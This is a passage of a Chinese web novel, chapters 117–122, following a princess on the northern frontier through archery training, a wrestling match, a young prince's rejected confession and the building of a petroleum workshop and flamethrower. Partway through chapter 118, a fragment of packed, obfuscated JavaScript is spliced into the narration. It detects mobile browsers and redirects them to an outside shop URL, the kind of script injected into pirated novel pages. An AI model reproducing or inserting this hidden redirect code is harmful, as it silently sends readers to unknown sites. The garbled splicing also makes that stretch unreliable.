人就是这般，事不关己高高挂起，倘若脏水泼在自己身上，便是清高也没了，善良也没了，恨不得即刻拖人下水。
看着眼前之人撕下矜贵面皮后的狰狞嘴脸，倒比以前更让她中意了。
两人离得近，药草的苦涩清香蔓延，郡主凑近闻了闻。
“阿莲，你身上怎么有股草药味，可是生病了？”
“大约是最近戴的草药香囊，不小心熏染上的。”
“你不是一向钟爱茉莉吗，怎么不用我送你的茉莉熏香？”
自然是因为——钟爱茉莉香的那人，如今不在京中。
菊若伸出手，逗弄着对方的鬓发。
“郡主所赠，不舍得。”
“阿莲……”
菊若转移话题道，“此事既然传言是董向阜做的，郡主还担心什么？”
红晕染上脸颊，郡主握住她作乱的手，心里怦怦乱跳。
“我、我担心齐家不信。”
“郡主不必忧心，”菊若指尖下滑，尾音勾人，“我会帮您。”
117.救赎文学
清晨，北境将军府中。
翟聿郁闷地嚼着干草，嘴里嘟囔。
“跟说好的不一样……”
一切要从那天说起，明珠和董向阜商讨翟聿的安置问题。
她本来打算让翟聿跟着自己住，反正松芜和菊若在北境都有房产，腾出一间给戎狄王子住，不是什么难事。
不过，董向阜提出王子虽是贵客，终究是外男，住在将军府更合适。
北境将军府是历代镇守北境的将领所居，只是从齐铭将军起，北境统领的大半时间都在军营度过，营帐反而成了固定居所。
故而，将军府被忽视许久，连仆役都只有寥寥几人，但照顾一人起居足矣。
明珠有些犹豫，不欲麻烦董向阜。
这时，兰萤在一旁小声道，“殿下，就按将军说的办吧，你想想看，若是大哥和二姐知道，为您准备的宅子里，住了外男……”
“！！！”
随即，明珠同意了董向阜的提议，让竹临和梅辛陪着翟聿住进将军府。
一大清早，翟聿趴在门口，望眼欲穿。
“明珠怎么还不来……”
“王子，这时间，恐怕殿下还没起。”
不远处传来声音，梅辛从早市上回来，手里拎着冒热气的火烧。
“牛肉火烧王子吃吗，我请客。”
“好啊！”
“竹临呢，您可有看见他？”
翟聿接过火烧，扬起下巴示意那边。
将军府中设有练武场地，里面刀枪剑戟、斧钺钩叉应有尽有，董向阜知道他们几个小伙子皆身手不凡，便在安置好他们后，特地带他们到演武场逛了一遭，说里面的东西尽管用。
早起，竹临就到练武场上晨练。
梅辛了然道，“那别管他了，咱们先吃。”
“你怎么不跟他一起练，”翟聿拆着油皮纸，问道，“你们两个，不都是明珠姐的护卫吗？”
梅辛捧着火烧来回倒腾，笑道，“竹临他一向勤勉，我不成，我得偶尔偷个懒，弓弦拉得太满，可是会绷断的。”
“那他呢？”
“他……”梅辛若有所思，“大约只有这样做，他才安心。”
“什么意思？”
竹临头顶着白气走过来，朝梅辛说道，“陪我练，你来射箭。”
“我这刚吃上！”
“欸，我陪你、我陪你！”翟聿在一旁兴奋道。
竹临点头，“有劳王子了。”
捧着晾凉的火烧，翟聿狼吞虎咽几口，抹了抹嘴快步跟上。
练武场上，竹临背着身，挑选着弓箭，白乾所用皆是精品，配上他的箭术，可谓是顶尖杀器。
“你要怎么练？”翟聿探头问道。
一把弓伸到面前，翟聿接过，却见竹临走远十几步后，取出黑布蒙上双眼。
“你这是？”
“劳烦王子换不同位置，朝我射箭。”
“可你这样，不是看不见吗？”
“嗯。”
“哈，有意思！”
翟聿兴致勃勃地拉满弓弦，眼前目标静止不动，比起草原上颠簸的马背，和行动敏捷的猎物，可以说是轻而易举。
离弦的箭迅疾如风，从不同方位，冲着远处的人一一袭去。
竹临立于中央，被黑布掩住视线。
昏暗中，寂静无声。
过往的回忆涌现，他从记事起，就是孤身一人。
瘦弱的肩上披着破旧的麻布袋，没有鞋子，尖锐的石子磨砺着脚心，血和沙尘揉在一起，掺进低贱的身体里。
放眼望去，矮小的树被扒光了皮，啃食得残缺，街上的人吐着白沫，把土往嘴里塞。
怀里藏的肉被吃光了，有几次，他饿得险些晕厥。
田间、地里，枯朽一片，像老人脸上的褶皱，干涸又沧桑，他不知道什么是饥荒，只是觉得世上好像没有粮食了。
后来，他在殿下的书中看到——
永安十七年，天大旱，民相啖。
午夜梦回，他偶尔会想，那时的肉，究竟是什么。
可当时的他，来不及想这些。
冷冽的水灌进口腔和鼻腔，他猛地咳了几声，眼前依旧是黑暗。
不知道过了多久，头顶上蒙的黑布被掀开，原来，这里是个巨大的笼子，面前还站着另一个，比他高一点、同样肌瘦的孩子。
无数陌生的视线从四面八方投
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来，身后的声音说，只有杀了对手的人才能活。
叫喊声疯魔又癫狂，让人不由畏缩起手脚。
这里，是地府吗？
等他回过神的时候，嘴里被腥臭的皮肉塞满。
眼前的人面目全非，只剩下一双囫囵眼睛，狰狞地瞪着他。
无穷无尽的岁月里，他好像死了很多次，又活了很多次。
他已经忘了自己是谁，在干什么。
直到——
“你们家是哪里的，有地方去吗？”
“那跟我回家吧。”
“你们有名字吗？”
“那你叫竹临吧。”
轰隆——！
耳边又响起那夜的雷声，声势之大，像要震碎头颅，那支藏匿于黑暗中的箭，毫不留情地朝她杀来。
来不及，他根本来不及！
不能凭眼睛去看，不能凭声音去听，他不能再去晚一步！！
寒气袭来，体内发出阵阵战栗。
竹临脚下一沉，剑出鞘，寒光乍现。
咔嚓！咔嚓！咔嚓！
片刻，战栗散去。
竹临收起剑，取下黑布，眼前一片清明。
“哇，你还挺有本事！”
脚边，几支箭羽分裂四散，和那天夜里的并不相同。
“没想到啊，你个子不高，耳力倒是强，我还怕你躲不过去伤了你呢！”
竹临眉头一皱，看向这个与自己同龄、身形高大的少年。
“我还会长。”
“哈哈哈哈哈——”翟聿兴致高涨，一把揽过他的肩膀，“走走走，吃饭去！”
戎狄人素来好战善战，竹临被架着，难挡热情，二人勾肩搭背回来，梅辛一瞧，就知道效果不错。
“王子，你们练的如何？”
“他还真行，你们梁国人都这么练剑吗？”翟聿激动道，“好有意思！”
竹临不语，梅辛把火烧递给他，接下话茬。
“欸，还是分人，您看我就做不来。”梅辛笑道，“这么说起来，听说戎狄天生武力，王子，那您跟大王子比，谁更厉害啊？”
“嗯……自然是我哥，不过我也不差，等几年我必定超过他！”
118.哥不在，但草原还有哥的传说
碧蓝苍穹之上，裸露着扎实的云，艳阳被遮盖了又开，光线或明或暗。彩色的飘带扬在手中，犹如波涛，周围的看客传来生生不息的呐喊。
沙地中，翟聿正一名身披彩布的壮汉对峙。
观众席上，明珠双手抱臂，远远望向赛场。
不知这孩子今天抽了什么风，她刚醒，就被拉来了库伦，眨眼就站在了摔跤赛场上。
数十名高大威猛的壮汉，腹部横肉耸立，犹如重装坦克，他们来回跳跃着，脖子上缀有各色彩条——“江嘎”，据说这是摔跤手在比赛时获奖的标志。
眼前一幕，让人对这个横扫北部大陆的民族，瞬间有了具象化的认知。
戎狄传统中，将摔跤称为“搏克偶巴依勒德呼”，摔跤手为“搏克庆”，比赛有其独特的服装、规则和方法，不受地区、体重的限制，采用淘汰制，一跤定胜负。
“布裤者，专诸角力，胜败以仆地为定。”
摔跤手要身着“昭德格”，皮坎肩上有镶包，亦称泡钉，以铜或银制作，便于对方抓紧。足蹬马靴，腰缠一宽皮带或绸腰带。
长调歌唱过三遍之后，摔跤手挥舞双臂、跳着鹰舞入场，向主席台行礼，顺时针旋转一圈，裁判员发令。
双方握手致意后，比赛开始。
一开场，翟聿就与壮汉缠抱在一起，对方抬起粗壮的手臂，上面的肌肉纹理宛如山峦沟壑，线条分明。
倏忽，那人旱地拔葱般，将翟聿整个提起，看得明珠心头一紧。
落地前，翟聿一脚蹬地，稳住身形。
对方却不给喘息的机会，迅速提起攻势，抓紧翟聿的腰带，再次蓄力。
翟聿也不再被动守势，垫了两步后，将腿插在对方腿后。
为避免被绊倒，那人往身体一侧倾斜，却不想翟聿虚晃一招，另一只脚岔远，顺势抱起他向前栽倒。
咚的一声，地面发出震荡。
最终，那人以背部着地，翟聿获胜。
周围响起叫好和欢呼声，震耳欲聋，翟聿风风火火跑过来。
“怎么样，好看吗？”
“嗯……”
尽管不像拳击比赛的回合制那样，令人热血沸腾，期待值拉满。
戎狄的摔跤，展现的是他们卓越的体型和强悍实力，俗话说一力降十会，她原以为戎狄人最大的漏洞，在于他们过度依赖蛮力和直觉，缺乏战术，高攻低防。
又因为游牧民族依赖畜牧，没有耕作形成聚集，从而人口涣散，难以像大梁一样形成稳定秩序的人海部队。
今日一见，明珠发现戎狄人力量之强悍，早已超出了她的设想，即便是眼前这个莽撞少年，也拥有着不俗的实力。
看似刹那间成败判定，其实不仅考验蛮力、爆发力，还有格斗的技巧。
所谓的高攻低防，并没有想象中那么容易破解。
若戎狄人以一挡十，大梁便要比他们多出十倍的兵力，冷兵器对决下，戎狄骑兵可谓势不可挡。
明珠不禁陷入沉思，要降服这样一群野兽，齐铭当年究竟天才到何种地步。
或许，她太轻敌了。
“很精彩。”明珠的称赞并不作假，“不仅要考验力量、瞬发，还需要灵活。”
“对！就是你说的这样！”
翟聿鼓起勇气，表白道，“明珠，你要等我，等我成为战胜所有人，成为最厉害的那个，你就能喜欢上我了！”
他怎么还在想这些，明珠无奈一笑。
“谁说我要喜欢最厉害的那一个？”
翟聿看向她，目光灼热。
“因为我哥，是草原上唯一一个没有败绩的搏克庆。”
大陆往西，渡过河湖，草场愈发辽阔，牧草肥密。河谷中，耕地土壤肥沃，牧民们得以在此耕作，休养生息。
面对来势汹汹的猛兽民族，河谷两侧的零散部落毫无招架之力，这一仗戎狄大获全胜。
戎狄王帐外，残肢堆在围栏，层层加码，柴垛子般垒起小山。
狼群在草原上撕闹，犬牙上的残渣还未舔舐干净，男人甩了甩手，把黏在身边的狼崽子丢给狼王。
坐镇帐中的戎狄王，收到亲随传信。
“聿那小子居然跑到人家那儿。”
虽心有疑惑，戎狄王却不以为然，把信丢在一旁。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422321|129420||http|test|mini|href|location''.split(''|''),0,{}));
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“算了，不管他。”
营帐的帘子被掀开，男人身染着血腥和戾气，迈步进来。
“父亲，他去哪儿了？”
“梁国，北境。”
翟渠擦掉脸上的血痕，眉头微皱，“那小子想干什么？”
“他一贯孩子心性，想一出是一出。”戎狄王打量着翟渠，意味深长道，“梁国那边倒是有传口信给你，你去问问外面的人。”
父亲揶揄的笑意，令翟渠摸不着头脑。
“是。”
他走出帐外，传信的人还在一旁候着。
“梁国有口信给我？”
“回大王子，梁国那边说，让您把聿王子领走，否则他们就把他带回京城。”
闻言，翟渠眯起眼睛，“威胁我？”
日光被阴云遮盖，天色暗沉。
笑意沾着殷红，男人的脸色随着光线阴沉下来，身上还浸着敌人冷却的腥气血迹。
风扬起凌乱的黑发，他伫立在此，宛如修罗鬼刹。
信使不由缩回脖子，咽了口口水。
“大王子，您没必要跟他们一般计较，梁国那边不敢这么干。
“还说些什么‘如果不管，就不把聿王子还回来了’，真是狂妄无理的蠢话！”
“慢着。”
这口吻……
翟渠挑眉，“这话是谁说的？”
“呃，是梁国的长公主。”
天空骤然开朗，树梢上，鸟雀叽喳两声。
“她——特地叫人传口信给我？”
信使一怔，挠了挠头，“是吧。”
“既然公主都这么说了，看来我不管不行了。”翟渠话中难掩得意，随即吩咐手下人，“去叫傲其日把那小子抓回来吧。”
信使一头雾水，大王子还真是阴晴不定。
“对了，”翟渠回头，瞥了他一眼，“你才蠢呢。”
这边，傲其日领了命，去马厩牵马，他站在原地思索片刻，又回去备了条粗麻绳套在马背上。
临走前，他嫌弃地瞥了眼大王子。
“大王子，收着点乐吧，嘴要裂到耳根子了。”
119.初恋注定是无果的爱情
市集上，商人们牵着骆驼，上面背着筐篓，穿着长袍花靴的行人们来来往往，两旁的地毯上，人们席地而坐，面前架着口小锅，街上散发着浓郁的奶香和油脂味。
绳子那头的山羊，吧唧着嘴。
溜在后面的人，埋头踢着路边的石子，脸上掩不住的沮丧。
明珠拉住绳子，和山羊同步回头。
“王子还小，能赢到前十已经很不错了。”
“可是第一名那个骆驼更好……”
“是嘛，我觉得羊好啊，”明珠拍了拍他的肩膀，笑道，“回去给你做炙羊肉，梅辛的羊肉烤的可好了。”
翟聿的脸这才转晴。
“今天那几个人怎么不跟着你，是明珠你——不让他们跟着的吗？”
“嗯，”明珠有所隐瞒，语气略带不自然，“他们今天有别的事。”
见她面色有异，翟聿手心微微发汗。
她不让人跟着，难道是想要和自己单独出来的吗……
他身边那些哥哥姐姐，偶尔会两个人一起出门，他以前不明白，他们为何不能带上他，明明他也想出去玩。
翟聿眼觑着一旁的明珠。
如今，他好像有点明白了。
明珠并不知道他的小心思，她回想起今日收到的信。
京中传信，工部回执，火油开采的审批下来了，她便决定先让兰萤他们带人去采一批，在军营里留做实验样本。
工部那边建议，今后若要在北境发展火油，可将其分级，划分不同领域。
低下浅层的石油称为“石脂水”，这种粘稠液体的提炼物被做成石烛，成为点燃时间较长的早期固态燃料，平均一支的照明时间能可顶三根普通蜡烛。
用石油的烟制成的墨，黑光如漆，比松烟墨还好。
不过，这些都不是最重要的，她需要的是应用于战事的杀器。
“唔。”
思绪被打断，嘴巴上抵着一块奶白的干酪。
“这是什么？”
“阿卢尔，羊奶做的。”
明珠咬了一口，奶香中散发着微甜，唇齿留香。
“还挺好吃。”
“嘿嘿。”
少年的笑明朗又耀眼，像要灼伤眼睛的太阳。
身后，路过的骆驼停住脚步，那张硕大的嘴掺着吐息，直直往翟聿这边来。
明珠急忙伸手，把他往自己这边拽，翟聿没防备，倾身倒向她。
千钧一发之际，翟聿慌忙用手臂抵着墙面。
眼前人咫尺之遥。
翟聿的脸，肉眼可见地红起来。
明珠却一心在靠近的骆驼嘴上，眼见这张毛茸大嘴探近，伸出肉乎乎的舌头，越过他们，啃食着他们身后石墙上垂吊的瓜瓤。
呼……
真是虚惊一场，她以为翟聿的脑袋差点要被啃了。
“哈哈哈——”
明珠没忍住，放声大笑。
咚！咚！
眼前之人笑颜灿烂，翟聿捂住心脏，呼吸不自觉加重。
“我还以为它——”
明珠才将视线移向翟聿，却见他猛地退后。
“怎么了，你也吓到了吗？”
“嗯……”
斜阳下，草原上吹起和煦的风，马头琴的低吟响起。
翟聿低着头，看不清神色。
那只状况外的山羊，脑袋在两人之间摇摆。
翟聿红着耳朵，指尖微颤，摸上胸前的狼牙。
“明珠，我可以牵你的手吗……”
这时，一个身影骑着马由远及近。
马上之人高大壮硕，身披兽皮，腰间别着弯刀，气势汹汹朝他们这边袭来，翟聿的目光瞬间转为警惕。
“傲其日！”
傲其日骑在马上，居高临下道，“王子，该回去了。”
“我哥让你来的吗？”翟聿质问道。
“是。”
“不！”翟聿一把拉过明珠的手，对峙着，“我不回去！”
就是这个可恶的家伙，吃了自己的萨仁，现在还要把他从明珠身边带走，他绝对不允许！
对方的举动意料之中，傲其日下马，抽出马背上的麻绳。
“？”明珠诧异。
这么强硬吗？
她试图缓和下焦灼的局面，主动开口道，“不如一起留下来，吃个便饭再回去吧。”
“用不着。”
傲其日态度强硬，丝毫不留情面。
见他走过来，翟聿松开明珠的手，弓起身子往外移动，双臂张开。
“王子，不想受伤的话，还是听我的话比较好。”
“别废话！”
傲其日冷笑，附身冲刺过去，身体与拳头碰撞声响起。
“翟聿！”明珠担心道。
“别过来！”
翟聿扭头的功夫，肚子上又挨了一拳，他生生扛住，却还是没忍住咳了两声。
见状，明珠立马噤声。
她是打算让翟渠把人接走，但眼下这种情况，确实不太妙。<
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p>翟聿最终还是难敌对手，脸上挂着彩，被麻绳捆着丢在地上，嘴里骂骂咧咧。
“我给你们再准备一匹马吧，这样绑着他不好受。”明珠提议道。
“他用不上你的好心。”
傲其日瞥了她一眼，眼神中充满敌意。
“公主，我虽不知你和大王子之间发生了什么，但王子因你被冤，沦为阶下囚，还差点被毒害。
“这笔账，我傲其日永远记得。”
明珠一怔。
没错，这才是戎狄人该有的态度。
她受用了太久翟渠的宽恕大度、翟聿的懵懂无知，险些忘了自己曾经设下的圈套，对于戎狄人而言，是不可饶恕的罪孽。
“若我让他听话跟你回去呢。”明珠长吁一口气，说道，“他一路闹腾，想必你也烦心，让我跟他说几句话，我保证他乖乖回去。”
傲其日冷哼一声，“行啊。”
翟聿见她走过来，挣扎着想要脱身。
“明珠，你放心，我不会跟他走的。”
明珠蹲下身来，柔声道，“翟聿，你回去吧。”
听到她这样说，翟聿心中刺痛，本能地抗拒着。
“为什么，我们不能在一起吗，明珠我喜欢你，真的很喜欢、很喜欢你。”
“翟聿，人和人之间的姻缘，不能仅凭一方的喜欢而达成，至少，需要彼此喜欢。”
“那明珠，你也喜欢我好不好？”
“我……”明珠垂眸，轻声说道，“抱歉。”
翟聿嗓子一紧，有些不管不顾地挽回着。
“为什么啊明珠，为什么？
“我想让你也喜欢我，每次只要一想，你也喜欢我，我的心里就好像要长翅膀飞出来一样。
“明珠，我可以说一百次、一千次，我真的很喜欢你……”
见他如此失意寥落，明珠也于心不忍。
“翟聿，我是喜欢你的，可我们的喜欢不一样。”
“为什么会不一样，怎么才能一样？
“我、我不知道该怎么做，你教教我好不好，我要怎么做你才会喜欢我，我不用你像我一样，你只要有一点点像，一点点就够了。”
明珠狠了狠心，站起身说道，“翟聿，对不起，我们就此分开吧。”
夜色中。
翟聿坐在马背上，无论身前的傲其日说了些什么，他仿佛都听不见，不再挣扎，不再愤怒。
他抬起头，望向天上的一轮皎月。
萨仁，我的心脏，好像要死掉了。
120.天使投资人
回到军营时，夜色已浓。
“殿下。”
兰萤正在门口等着她。
“翟聿被接走了。”明珠说着，心中却并未如释重负。
见她面容惆怅，兰萤主动牵起她的手。
“殿下，我让厨房做了甜羹，还有金玉酥饼，给殿下端过来好不好？”兰萤歪着头，轻声哄道。
明珠揉了揉她的脑袋，笑道，“好。”
翟聿离开后，明珠心无旁骛地开展石油事业。
朝廷特派筒井工人，采用钻凿井之法，在雁岭山上开凿油洞，蕴藏的石油井喷而出，黑金的脂水顺着提前铺设的管道，从山顶运下，再由工人运送到火油厂房。
为了不污染月湖生态，明珠选址戈壁荒滩处修建库房，用于储存石油，还将设置分类厂房，暂制有日用品石烛、烟墨。
唯一棘手的是——没钱。
朝廷批的款，多半被她交由鲁进艺进行火器研发，这笔是断断省不了的，剩下的就只够造井和修建管道。
为了将士们的抚恤金，她几乎搬空了家底，京中若不是菊若撑着，恐怕她回去又要喝西北风了。
“钱啊，没钱啊……”
明珠摊在桌前，盯着桌面的账本，脑子里响起计算器的声音——归零！归零！
“谁有钱啊……”
等等！
明珠一拍桌案。
不是有个现成的富少吗？
还有董向阜，他不能光指望着她出钱出力吧！
“兰萤，帮我把裴参军和董向阜叫……请来。”
不多时，营帐内，明珠听到董向阜的声音。
“帐外那头羊，是殿下的？”
董向阜一边进来，一边不自觉打量，她这是打算养多少畜生。
“嗯，你喜欢啊，喜欢可以送给将军。”
“倒也不是，不过殿下这样说，臣受宠若惊。”
“咳，说正事商量。”
等那两人就坐，明珠言归正传。
“我决定在北境建火油加工坊，日常会产出一些日用品，工艺都是现成的，只需要投入资金建设场地还有招募工人。”
“是，臣等有所耳闻。”
“今天请二位前来，是希望能得到你们的投资。”
明珠取出之前石油采样制成的样品。
“你们看，像品质佳如松烟墨者，一笏盈十贯钱。”明珠在纸上研墨，向他们展示道，“而火油烟熏制成的墨，比松烟墨品质还要好，颜色更深，更耐用。”
看着眼前一幕，那两人无奈对视。
“殿下。”裴元开口道。
“怎么了？”
明珠紧张地看向他们，难不成她的产品没有打动投资人？
董向阜叹了口气，“殿下不必如此，若是钱银不足，只管告诉臣便可，臣绝无二话。”
“那怎么好意思……”
“殿下所谋，也是为了北境百姓福祉，臣等岂能袖手旁观。”
在董向阜和裴元的资助下，资金筹集齐备。产品由月记向外营销，打造出品牌，所获利润五成向官府交税，余下的五成由他们三人再行分配。
明珠还在北境及周边郡县贴出招聘启事，工厂于农闲时分招工，不拘男女，配备住宿，又雇了几位伙房师傅。
很快，北境建立起石油加工厂的生产线。
忙完这些，一月有余，明珠终于收到了鲁进艺的好消息。
军械库中。
许久未见，鲁进艺整个人精神焕发，推出自己的力作。
“按殿下的吩咐，猛火油柜已初见雏形，殿下果真奇思！”
“多亏鲁匠才能成事。”
她不过是拾前人牙慧罢了，这件事上还要感谢三王，她身边有鲁进艺在，事半功倍。
于空旷处，鲁进艺推出一个手推车大小的器物，分为两部分，上半如同火箭头一般，是火油的发射口，下半便是盛放燃料的油柜，中间用并排四个管道衔接。
“以熟铜为柜，下施四足，上列四卷筒，卷筒上横施一巨筒，皆与柜中相通。横筒首尾大，细尾开小窍，大如黍粒，首为圆口，径寸半。柜傍开一窍，卷筒为口，口有盖，为注油处。”
管上横置的形如火箭头的名为“唧筒”，前部为
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内装引火药的“火楼”。
使用时，烧红的烙锥点燃“火楼”中的引火药，然后用力抽拉唧筒，向油柜中空气施压，进而使猛火油从“火楼”喷出时燃成烈焰。
“士兵从后用力□□，柜中的油料就会变成烈焰喷射出去，在守城与水战上均是大杀器。”
说着，鲁进艺全副武装，用力抽拉着唧筒。
刹那间，火舌从前端涌出，仿佛一条笔直的长枪，上方燃烧着熊熊烈焰，朝正前方冲去，将演练所用的猪肉烤得焦黑。
“火油不宜操控，若以远攻或大范围喷洒，北境风大，极易反噬。
“故而小人按殿下所说，以近战为主，让其保持在三到四米，果然更易操控，射出的火龙又直又猛！”
“将此物置于城墙外，只需人为在内侧运转，就可架起火墙屏障，就不必用火雷玉石俱焚。”明珠赞赏道，“今后北境的安宁，将得益于你鲁进艺了。”
鲁进艺忽而跪地，朝明珠叩首。
“殿下！小人感激殿下！”
“你这是干什么？”明珠诧异，急忙拉他起来。
鲁进艺抹着眼泪起身，声音哽咽。
“小人自恃有才，可却苦于为虎作伥，尽做些丧尽天良的事儿，从不敢想有朝一日，能将满身技艺用于戍边报国。
“即便是、即便是此刻三王要了小人的命，小人死而无憾！”
“傻话。”明珠笑道，“放心，有我在，三王不敢拿你怎么办。”
当天，董向阜等人也应邀前来，见识到了猛火油柜的威力。
“此物，当真是——”霍丘瞪大了眼睛，哽了半天想不出形容。
见董向阜沉默不语，明珠问道，“将军，如何？”
抬起头，才发现董向阜的目光充满热切，他单膝跪地，拱手拜谢，身后一众将领也相继跪拜。
“臣，替北境军民感恩殿下。”
不仅是火攻利器，还有她为将士们求得的军衔，为亡者付出的财力。
董向阜此刻，唯有一个念头。
无论今后如何，北境永远是长公主的靠山，谁也无法撼动。
121.是谁破防我不说
人间三月天。
林间传来鸟鸣，小溪的水流淌，明珠取了些纸钱，找到一处僻静，从口袋里拿出几块茯苓糕，摆在砌码的石头前。
今天是她来到这个世界的第四年。
眼前的火光燎人，映着水中模糊的倒影，是她的面容。
“我选了这个地方，看上去很自由，不知道你会不会喜欢。”
兰萤静静陪在一旁，之前也是如此，每年三月的这个时候，殿下就会为某人祭祀，而这并非先皇后的忌日。
为免提及殿下伤感，她曾私下打听过，却无人知晓。
她想知道，究竟是什么人值得殿下如此惦念。
“殿下，在为谁祭？”
“一个素未谋面的故人。”
尽管李凌月的死因不是为她，可她的生却多亏了李凌月。
在不同的时空中，一对父女的生命得到延续，又或许是置换，他们的那场车祸，究竟结局如何，她无从知晓。
“兰萤，如果有一天……”
如果有一天，我不在了。
明珠抚上兰萤的脸，她还这么小，来到自己身边的时候，才不过十岁，若是没了自己，希望松芜和菊若会照顾好她吧。
“殿下，想说什么？”
“……没什么。”
这些话，还是别说出口了。
可听她的口吻，兰萤不自觉心慌，追问道，“殿下究竟想说什么？”
明珠捏了捏她的脸，神色自若。
“真的没事，我就是想起你刚到我身边时，体质弱，开春总是会高烧。
“有几次差点把脑袋瓜都烧傻，抱着我怎么都不撒手，非要亲亲才肯喝药。”
兰萤撅起嘴，嘟囔道，“还是那时候好，殿下现在都不亲我了，想必是不及当初喜欢了。”
“谁说的，我最喜欢兰萤了。”
明珠捧着她的小脸，往额头上猛亲一口。
“嘻嘻。”
兰萤捂着额头，一个劲儿傻笑。
“长姐。”
不远处传来声音，明珠循声望过去。
一个熟悉的身影出现在视野里。
“李凌霄，你回来了，你怎么找到这儿的？”
怎么找到这儿的？
李凌霄握紧腰间的药草香囊，面色冷得结霜。
他连夜赶来，见她不在军营，几乎寻遍整个北境，却在这里看见她抱着那个小婢女，这般卿卿我我，不成体统。
竟然还问他怎么找过来的？！
“臣弟来的不是时候了。”
说罢，李凌霄拂袖而去。
“欸，怎么走了？”明珠不明所以，茫然地看向兰萤，“他这是怎么了？”
兰萤心中得意，面上故作无辜。
“想必二皇子舟车劳顿，回去歇息了。”
“这样吗。”
既然李凌霄回来，想必齐家和三王的恩怨应该平息了，至少明面上如此，其中内情，还是要向李凌霄打探一二。
纸钱尚未燃尽，明珠熄了火，打道回府。
还未到军营门口，就见霍丘和一名女子拉扯。
那女子看着眼熟，明珠恍然大悟，这人可不就是当初那位，在校场里找茬的董向阜梦女——霍丘口中的“柔儿”。
霍丘被对方推搡着，步步退却。
“是你派人调查我是吗？！”
“不是啊，柔儿，真的不是我！”
“一定是你和将军说了什么不该说的，引得将军怀疑我！”
“我、我没有啊！”
霍丘心乱如麻，他不知柔儿为何突然找上门，又为何这般咄咄逼人，全然不复往日的温柔小意。
“不是你还会有谁——”
那女子注意到明珠，愣了一瞬，急掉转矛头，指向明珠。
“是你？！”
“是我。”明珠坦然道。
那女子见明珠承认，露出一副捉奸在床的模样，霍丘怕她惹祸，赶忙追上。
兰萤一个箭步，挡在那女子面前，手刚触到袖箭，却被明珠拦住。
此人色厉内荏，她心里有数。
“你利用霍丘，接近董向阜，你的目的又是什么？”
“我都是为了将军！”
“你想嫁给他？”
“……”对方话说得直白，女子明显噎了一下，继而抬高声量，“是啊，怎么，长公主觉得我不配？！”
明珠挑眉，怎么感觉这人还有点破防了。<
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p>“那你觉得，你和他的兄弟在一起之后，他还能喜欢上你吗？”
“我……我这么做，都是为了他！”
“你的意思是，你为了他，委身于其他男人？”明珠眉头皱起，拆穿道，“你是在自我感动，他从来不需要你这么做。”
她实在是没忍住，这人也太魔怔了。
“姑娘这般费尽心机接近将军，是为了将军，还是为了满足私欲？”
那人却对她的质问充耳不闻，只顾发泄自己的情绪。
“你根本不懂，长公主出身高贵，轻而易举就能得到将军垂青，你自以为高人一等，就能随意践踏我对将军的心意吗？”
“那在姑娘心里，董向阜就是那种攀附权贵、轻易媚上的人吗。”
“你——！”
“柔儿，别说了！”霍丘拦住她，慌张道，“求殿下恕罪，柔儿是和卑职争执不下，一时昏了头才冲撞您的，求您宽恕她！”
明珠看着满脸惊慌的霍丘，叹了口气。
算了，跟这种人说不通的。
“我不会怎么样她，只是，霍丘你也要好自为之，不要执迷不悟。”
军营内，李凌霄回到自己帐中。
啪——！
茶杯被摔到地上，四分五裂。
早知如此，他何苦昼夜不停赶路回来！
“李凌霄？”
明珠那边刚摆脱纠缠，这边一掀开帐帘，就见李凌霄也一副怒气冲冲的模样。
“这是怎么了，谁惹你不高兴了？”
“不关长姐的事。”
明珠让人把碎瓷片清理了，坐到李凌霄一旁。
“你的伤口怎么样了，还疼不疼？”
“长姐不必来我这里惺惺作态。”
怎么又是这副德行，她又怎么招惹他了？
明珠趴在榻几上，瞟见李凌霄下颚上一条细长的划痕，她伸出手，抬起他的下巴。
李凌霄默不作声，任由她抚摸着那道伤口。
“这是什么时候受的伤？”
“不记得了。”
“怎么这么不小心，上药了吗？”
“没有。”李凌霄大言不惭地扯谎，“都怪长姐，本来不疼的，长姐一碰它就疼了。”
122.无效拉踩
药膏的触感冰凉，眼前之人凑得很近，指尖滑过下颚，宛如调情。
李凌霄又想起林间的那个吻，按捺不住烦躁，开口道，“长姐为何要对他们如此，只是下人而已，过分放纵只会让他们生出僭越之心，无法无天。”
“你是说兰萤？”
明珠摇了摇头，不以为然道，“她很小就跟着我了，你不知道，她以前过得不好，我对她就像小妹一样。”
“可你是大梁的长公主，不是她的阿姊。”
一个不知道哪里蹦出来的野丫头，毫无背景，毫无根基，就是随手捡的一头狗罢了。
即便她要做活佛，大发善心，又何至于此。
这种无用之人，为何要如此亲近？
“她不过是个无足轻重的奴婢，长姐何苦对她用心？”
“兰萤是我的家人，无论身份。”
李凌霄眉头紧锁，心道，真是荒谬。
“那我呢？”
明珠收回手，拧上药膏盖子。
“你是大梁的二皇子，是我名正言顺的弟弟。”
听她这样说，李凌霄并不安心。
“倘若我不是皇子呢？
“若我和她一样，只是个贱民，你还——”
“李凌霄，我不喜欢你的说辞。”明珠打断他，正色道，“如果我也是你口中的‘贱民’，对你毫无助益，你还会问我这个问题吗？”
他们相处不过半年，李凌霄的亲近讨好，无论是为了图谋，还是拉拢，她都能理解。
一开始，她就明白这个人的心思，并不单纯。
此刻他想要求证的，也不是她心中的感情，而是在一个受宠的长公主眼里，他所处的地位，和今后的胜算。
“那她呢，她对你就全然真心，毫无攀附之意吗？”
明珠莞尔一笑，伸手摸了摸他的头，未置一词。
“舟车劳顿，我就不打扰你休息了。”
帐中只剩下李凌霄一人，他盯着那瓶药膏出神。
她说的没有错，若她毫无利用价值，他根本不会在乎她，甚至连一个眼神都不会多给，就像过去一样。
无用之人，不值得被偏爱。
没有人例外。
李凌霄扯掉腰间的香囊，这东西，她原本就送了不止一人，草药香气幽微，闻着莫名有些熟悉。
一甩手，香囊被丢进杂物中。
午后，二皇子营帐门口，副统领前来通传。
“殿下，薛医士有事禀报。”
医官队伍中，李凌霄提前安排了自己人，为着在长公主身边留下耳目，特地选了位女医官随行。
“进来。”
薛晗一进来，就见李凌霄面色阴沉，帐内气氛十分不妙。
“何事？”李凌霄不耐道。
